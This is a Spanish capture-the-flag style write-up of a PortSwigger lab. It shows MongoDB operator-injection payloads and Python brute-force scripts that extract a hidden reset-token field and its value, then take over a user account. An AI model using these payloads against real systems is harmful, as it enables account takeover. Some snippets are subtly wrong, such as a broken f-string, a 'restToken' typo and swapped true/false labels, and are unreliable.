Entrada

NoSQLI Lab 4

NoSQLI Lab 4

Skills

  • Exploiting NoSQL operator injection to extract unknown fields

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

La funcionalidad de búsqueda de usuarios para este laboratorio está impulsada por MongoDB, una base de datos NoSQL, la cual es vulnerable a inyección NoSQL. Para resolver el laboratorio, debemos iniciar sesión como carlos


Resolución

Al acceder a la web vemos esto

Pulsamos sobre My account y nos logueamos con las credenciales wiener:peter

Si capturamos la petición con Burp Suite, vemos que se está enviando un JSON con el nombre de usuario y la contraseña

Hay dos tipos de inyección NoSQL

  • Syntax Injection > Ocurre cuando se puede romper la sintaxis de la consulta NoSQL, lo que le permite inyectar su propia carga útil. La metodología es similar a la utilizada en la inyección SQL. Sin embargo, la naturaleza del ataque varía significativamente, ya que las bases de datos NoSQL utilizan una variedad de lenguajes de consulta, tipos de sintaxis de consulta y diferentes estructuras de datos

  • Operator Injection > Ocurre cuando puedes usar operadores de consulta NoSQL para manipular consultas

En este laboratorio vamos a explotar una Operator Injection. Las bases de datos NoSQL suelen utilizar operadores de consulta, que proporcionan formas de especificar las condiciones que deben cumplir los datos para ser incluidos en el resultado de la consulta. Podemos encontrar payloads en Hacktricks https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html y en PayloadAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection. Algunos ejemplos de operadores de consulta de MongoDB son los siguientes

  • $where -  Coincide con documentos que satisfacen una expresión de JavaScript

  • $ne - Coincide con todos los valores que no son iguales a un valor especificado

  • $in - Coincide con todos los valores especificados en una matriz

  • $nin - Coincide con documentos donde el valor de un campo no está en una lista especificada de valores

  • $regex - Selecciona documentos donde los valores coinciden con una expresión regular

  • $eq - Filtra documentos donde el valor de un campo sea igual a un valor específico

  • $gt - Coincide con documentos donde el valor de un campo es mayor que el valor especificado

  • $lt - Coincide con documentos donde el valor de un campo es menor que el valor especificado

En el contexto de bases de datos NoSQL como MongoDB, un documento es una unidad de datos almacenada, similar a un registro en bases de datos relacionales. Los documentos están estructurados en formato JSON, lo que significa que pueden contener varios campos y valores

1
2
3
4
5
6
7
8
9
10
11
12
{
  "_id": 1,
  "username": "juan123",
  "password": "mypassword123",
  "email": "juan@example.com",
  "first_name": "Juan",
  "last_name": "Pérez",
  "date_of_birth": "1994-06-15",
  "status": "active",
  "role": "user",
  "last_login": "2025-03-01T10:30:00Z"
}

Es posible que podamos inyectar operadores de consulta para manipular consultas NoSQL. Para identificar si es posible, debemos inyectar distintos operadores en los inputs y revisar las respuestas en busca de mensajes de error u otros cambios. En los inputs que se envían como un JSON, podemos insertar operadores de consulta como objetos anidados

1
{"username":"wiener"}
1
{"username":{"$ne":"invalid"}}

Para las entradas basadas en URL, podemos insertar operadores de consulta a través de parámetros de URL

1
username=wiener
1
username[$ne]=invalid

Si esto último no funciona, podemos cambiar el método de solicitud de GET a POST, cambiar el Content-Type a application/json, agregar un JSON en el body e inyectar operadores de consulta en el JSON. Podemos utilizar la extensión Content Type Converter para convertir automáticamente el método de solicitud y cambiar una solicitud codificada en URL POST a JSON

Para probar si podemos inyectar operadores, podemos intentar agregar el operador $where como un parámetro adicional y luego enviar una solicitud donde la condición se evalúe como falsa y otra que se evalúe como verdadera. Este primer payload es para evaluar la condición como verdadera

1
{"username":"wiener","password":"peter", "$where":"0"}

Este otro payload es para evaluar la condición como falsa

1
{"username":"wiener","password":"peter", "$where":"1"}

Modificamos la petición, con el operador de consulta $ne nos saltamos la contraseña y con el operador $where podemos modificar la condición de la consulta. En este caso como el usuario existe y la web es vulnerable a Operator Injection nos logueamos correctamente

Podemos comprobar que hemos podido acceder a la cuenta pulsando click derecho > Request in browser > In original session

Pegamos el enlace en el navegador y accedemos a la cuenta del usuario wiener

Si realizamos la misma consulta pero cambiando el valor de $where para evaluar la condición como falsa nos devuelve un error, como hay una diferencia entre las respuestas, esto puede indicar que la expresión de JavaScript dentro de la cláusula $where está siendo evaluada

Podemos aprovechar esto para enumerar usuarios, para ello enviamos la petición al Intruder y seleccionamos el campo de usuario

Copiamos los usuarios del diccionario https://portswigger.net/web-security/authentication/auth-lab-usernames como payloads

En la pestaña de Settings vamos a añadir una expresión regular, para ello pulsamos en Add

Seleccionamos el texto Invalid username or password

Iniciamos el ataque y vemos para el usuario carlos nos devuelve una respuesta diferente

Al parecer carlos tiene la cuenta bloqueada y a pesar de que funciona la inyección no podemos acceder a su cuenta

Si nos dirigimos al panel de login y pinchamos en Forgot password? vemos este panel

Al no tener acceso al email no podemos ver el código

Como hemos podido usar un operador que permite ejecutar JavaScript como $where, es posible que podemos utilizar el método keys() para extraer el nombre de los campos del documento de JavaScript. En JavaScript el primer campo es _id por defecto y se pueden listar los campos de un objeto de la siguiente forma

Como podemos inyectar código JavaScript, vamos a crear una función que nos diga cuantos campos tiene este documento, en este caso vemos que tiene cinco campos

1
2
3
4
5
{
  "username": "carlos",
  "password": { "$ne": "testing" },
  "$where": "function(){ if(Object.keys(this)[4]) return 1; else 0; }"
}

Sabemos que tiene 5 campos porque el índice empieza en 0 y si intentamos acceder al campo número 5 nos devuelve una respuesta no exitosa

Una vez sabemos que el documento tiene 5 campos vamos a averiguar cual es el nombre de esos campos

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(Object.keys(this)[0].match('_id')) return 1; else 0; }"
}

Comprobamos que el segundo campo es username

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(Object.keys(this)[1].match('username')) return 1; else 0; }"
}

Comprobamos que el tercer campo es password

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(Object.keys(this)[2].match('password')) return 1; else 0; }"
}

Como anteriormente nos ha dicho que cada usuario tiene un email, he probado y efectivamente el cuarto campo es email

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(Object.keys(this)[3].match('email')) return 1; else 0; }"
}

El quinto campo no sabemos cual puede ser, por lo tanto vamos a tener que bruteforcearlo. Para bruteforcearlo lo primero que tenemos que hacer es obtener su longitud, en este caso al longitud es de 11 caracteres

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(Object.keys(this)[4].length == 11) return 1; else return 0; }"
}

Vamos a enviar la petición al Intruder con este payload, una vez ahí vamos a seleccionar como tipo de ataque Cluster bomb y vamos a marcar ambos campos

1
2
3
4
5
{
  "username": "carlos",
  "password": { "$ne": "testing" },
  "$where": "function(){ if(Object.keys(this)[4].match('^.{0}a.*')) return 1; else return 0; }"
}

El primer payload va a ser de tipo numérico y va a ir desde el 0 al 10, haciendo un total de 11 de longitud

Para el segundo payload vamos a utilizar todos los caracteres imprimibles de la librería string de python

1
2
3
4
5
6
7
8
# python  
Python 3.13.2 (main, Feb  5 2025, 01:23:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

Vamos a ir iterando para eliminar los caracteres que se repiten y vamos a hacer que se muestren uno debajo de otro

1
2
3
4
5
6
7
#!/usr/bin/python3

import string

characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
for char in characters:
    print(char)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# python print_characters.py
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~

Nos copiamos todo el output del script y lo pegamos como segundo payload

En la pestaña Settings nos dirigimos a Grep - Extract y pulsamos en Add

Señalamos Account locked: please reset your password

Efectuamos el ataque de fuerza bruta, primero debemos filtrar por Payload 1 y después por la expresión regular que hemos creado. Finalmente obtenemos que el campo restante, el cual es unlockToken

Como alternativa podemos usar este script en python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3

from pwn import *
import requests, signal, time, sys, string
import json

def def_handler(sig, frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

url = "https://0a7c00ce03078e0f81727b64005d00fb.web-security-academy.net/login"

characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(0, 11):
            for character in characters:
                json = {
                    "username": "carlos",
                    "password": {"$ne": "testing"},
                    "$where": "function(){ if(Object.keys(this)[4].match('^.{%d}%s.*')) return 1; else 0; }" % (position, character)
                }

                headers = {
                    "Content-Type": "application/json"
                }

                p1.status(json['$where'])

                r = requests.post(url, headers=headers, json=json)

                if "Account locked: please reset your password" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos el nombre del campo del documento de JavaScript

1
2
3
# python3 nosqli.py
[▖] Fuerza bruta: function(){ if(Object.keys(this)[4].match('^.{10}n.*')) return 1; else 0; }
[...../..] Output: unlockToken

Obtenemos que 16 es la longitud del valor que tiene el campo unlockToken gracias a este payload

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(this.unlockToken.length == 16) return 1; else return 0; }"
}

Cambiamos el payload anterior por este otro, mandamos la petición al Intruder, seleccionamos como tipo de ataque Cluster bomb y seleccionamos las posiciones en las que van los payloads

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(this.unlockToken.match('^.{0}a.*')) return 1; else return 0; }"
}

El primer payload va a ser de tipo numérico y va a ir desde el 0 al 15, haciendo un total de 16 de longitud

Como segundo payload vamos a usar el mismo que usamos la vez anterior

En la pestaña Settings nos dirigimos a Grep - Extract y pulsamos en Add

Señalamos Account locked: please reset your password

Efectuamos el ataque de fuerza bruta, primero debemos filtrar por Payload 1 y después por la expresión regular que hemos creado. Finalmente obtenemos que el valor del campo unlockToken es bccf47bbba9c5a20

Modificamos el script de python para bruteforcear el valor del campo unlockToken

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3

from pwn import *
import requests, signal, time, sys, string
import json

def def_handler(sig, frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

url = "https://0a7c00ce03078e0f81727b64005d00fb.web-security-academy.net/login"

characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(0, 16):
            for character in characters:
                json = {
                    "username": "carlos",
                    "password": {"$ne": "testing"},
                    "$where": "function(){ if(this.unlockToken.match('^.{%d}%s.*')) return 1; else 0; }" % (position, character)
                }

                headers = {
                    "Content-Type": "application/json"
                }

                p1.status(json['$where'])

                r = requests.post(url, headers=headers, json=json)

                if "Account locked: please reset your password" in r.text:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos el valor de unlockToken pero es diferente, lo que significa que es dinámico

1
2
3
# python3 nosqli.py
[-] Fuerza bruta: function(){ if(this.unlockToken.match('^.{15}2.*')) return 1; else 0; }
[↑] Output: 691ba2e24d15a582

A veces, aunque provoquemos un error en la base de datos, esta no muestra una diferencia en la respuesta de la web. En esta situación, es posible que aún podamos detectar y explotar la inyección usando la cláusula $where y provocando un retraso en la respuesta con sleep(5000). Lo primero que debemos hacer es identificar el quinto campo y para bruteforcearlo lo primero que tenemos que hacer es obtener su longitud, en este caso al longitud es de 9 caracteres

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(Object.keys(this)[4].length == 10) sleep(5000); }"
}

Lo siguiente es enviar la petición al Intruder con este payload, una vez ahí vamos a seleccionar como tipo de ataque Cluster bomb y vamos a marcar ambos campos

1
2
3
4
5
{
  "username": "carlos",
  "password": { "$ne": "testing" },
  "$where": "function(){ if(Object.keys(this)[4].match('^.{0}a.*')) sleep(5000); }"
}

El primer payload va a ser de tipo numérico y va a ir desde el 0 al 9, haciendo un total de 10 de longitud

Como segundo payload vamos a seleccionar la lista de caracteres usada anteriormente

Iniciamos el ataque, filtramos por Response received y marcamos las peticiones que tienen más de 5000 milisegundos en responder

Con las peticiones señaladas pulsamos click derecho > Highlight y seleccionamos un color

Hacemos click sobre el filtro

Marcamos la casilla Show only highlighted items

Una vez hecho esto, ordenamos por Payload 1 y vemos que es resetToken, al parecer también es dinámico este valor, porque anteriormente tenía otro nombre

Nos creamos un script de python como alternativa al Cluster bomb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a6500eb04601776824d6aae006d0026.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    headers = {
        'Content-Type': 'application/json'
    }

    with open("output.txt", "w") as f:
        for position in range(0, 10):
            for character in characters:

                json_data = {
                    "username": "carlos",
                    "password": { "$ne": "testing" },
                    "$where": "function(){ if(Object.keys(this)[4].match('^.{%d}%s.*')) sleep(5000); }" % (position, character)
                }

                p1.status(json_data['$where'])

                time_start = time.time()

                r = requests.post(url, json=json_data, headers=headers)

                time_end = time.time()

                if time_end - time_start > 5:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos el nombre del quinto campo del documento JavaScript

1
2
3
# python nosqli.py
[....\...] Fuerza bruta: function(){ if(Object.keys(this)[4].match('^.{9}n.*')) sleep(5000); }
[-] Output: resetToken

Obtenemos que 16 es la longitud del valor que tiene el campo resetToken gracias a este payload

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(this.resetToken.length == 16) sleep(5000); }"
}

Cambiamos el payload anterior por este otro, mandamos la petición al Intruder, seleccionamos como tipo de ataque Cluster bomb y seleccionamos las posiciones en las que van los payloads

1
2
3
4
5
6
7
{
  "username": "carlos",
  "password": {
    "$ne": "testing"
  },
  "$where": "function(){ if(this.restToken.match('^.{0}a.*')) sleep(5000); }"
}

El primer payload va a ser de tipo numérico y va a ir desde el 0 al 15, haciendo un total de 16 de longitud

Como segundo payload vamos a seleccionar el mismo que hemos seleccionado la primera vez

Iniciamos el ataque, filtramos por Response received y marcamos las peticiones que tienen más de 5000 milisegundos en responder

Con las peticiones señaladas pulsamos click derecho > Highlight y seleccionamos un color

Hacemos click sobre el filtro

Marcamos la casilla Show only highlighted items

Una vez hecho esto ordenador por Payload 1 y vemos que es resetToken, al parecer también es dinámico este valor, porque anteriormente tenía otro nombre

Nos creamos un script de python como alternativa al Cluster bomb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

url = "https://0a6500eb04601776824d6aae006d0026.web-security-academy.net/login"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    headers = {
        'Content-Type': 'application/json'
    }

    with open("output.txt", "w") as f:
        for position in range(0, 16):
            for character in characters:

                json_data = {
                    "username": "carlos",
                    "password": { "$ne": "testing" },
                    "$where": "function(){ if(this.resetToken.match('^.{%d}%s.*')) sleep(5000); }" % (position, character)
                }

                p1.status(json_data['$where'])

                time_start = time.time()

                r = requests.post(url, json=json_data, headers=headers)

                time_end = time.time()

                if time_end - time_start > 5:
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos el valor del campo resetToken

1
2
3
# python nosqli.py
[↑] Fuerza bruta: function(){ if(this.resetToken.match('^.{15}d.*')) sleep(5000); }
[▝] Output: e82ead90bd24480d

El siguiente paso es averiguar como podemos proporcionar el valor. He capturado la petición a /forgot-password y la he mandado al Repeater, si nos fijamos bien vemos que el Content-Length es de 2710

Si hacemos la petición a /forgot-password?foo=invalid vemos que el resultado sigue siendo el mismo. Esto lo hacemos para ver si nos arroja algún error

Si hacemos la petición a /forgot-password?691ba2e24d15a582=invalid el resultado sigue siendo el mismo

Sin embargo, si hacemos la petición /forgot-password?unlockToken si que cambia la respuesta

Si accedemos a /forgot-password?unlockToken=691ba2e24d15a582 vemos un panel mediante el cual podemos cambiar la contraseña al usuario carlos

Nos logueamos como el usuario carlos

Una alternativa si no podemos usar JavaScript es emplear el operador $regex. Si la respuesta recibida es diferente a la que recibimos cuando enviamos una contraseña incorrecta, esto indica que la aplicación puede ser vulnerable. Para comprobar esto, usamos este payload y vemos que obtenemos una respuesta diferente a la habitual

1
2
3
4
{
  "username": "carlos",
  "password": { "$regex": "^.*" }
}

Mediante este payload podemos bruteforcear la contraseña del usuario carlos. Debemos mandar la petición al Intruder, cambiar el tipo de ataque a Cluster bomb y seleccionamos los campos a bruteforcear

1
2
3
4
{
  "username": "carlos",
  "password": { "$regex": "^.{0}a.*" }
}

Como primer payload vamos a elegir un número alto, debido a que con $regex no podemos saber la longitud de la contraseña

Como segundo payload vamos a seleccionar el mismo que hemos seleccionado la primera vez

En la pestaña de Settings vamos a añadir una expresión regular, para ello pulsamos en Add

Señalamos Invalid username or password

Efectuamos el ataque de fuerza bruta, primero debemos filtrar por Payload 1 y después por la expresión regular que hemos creado. Finalmente obtenemos la contraseña la cual es k0rytwcnjd9138967nur

Como alternativa al Cluster bomb podemos usar este script en python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/python3

from pwn import *
import requests, signal, time, sys, string
import json

def def_handler(sig, frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

url = "https://0a6600d8049f2b72804ed06900ef0098.web-security-academy.net/login"

characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))

def makeRequest():
    output = ""

    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Output")

    with open("output.txt", "w") as f:
        for position in range(0, 50):
            for character in characters:
                json = {
                    "username": "carlos",
                    "password": {"$regex": f"^.}{character}.*"}
                }

                headers = {
                    "Content-Type": "application/json"
                }

                p1.status(json['password'])

                r = requests.post(url, headers=headers, json=json)

                if "Account locked: please reset your password" in r.text:  
                    output += character
                    f.write(character)
                    f.flush()
                    p2.status(output)
                    break

if __name__ == '__main__':
    makeRequest()

Obtenemos la contraseña

1
2
3
# python nosqli.py
[▄] Fuerza bruta: {'$regex': '^.{20}A.*'}
[ ] Output: tdvrtxogyrvr626it7w7

Sabemos que la contraseña es correcta porque cuando nos dirigimos al login e iniciamos sesión nos dice que la cuenta está bloqueada

Esta entrada está licenciada bajo CC BY 4.0 por el autor.